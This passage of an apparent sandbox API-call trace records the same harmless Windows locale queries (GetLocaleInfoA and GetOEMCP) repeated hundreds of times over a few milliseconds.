| out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.146] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.146] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.147] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.147] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.148] GetOEMCP () returned 0x1b5 [0051.148] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.149] GetOEMCP () returned 0x1b5 [0051.149] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.150] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.150] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.151] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.151] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.152] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.152] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.153] GetOEMCP () returned 0x1b5 [0051.153] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: 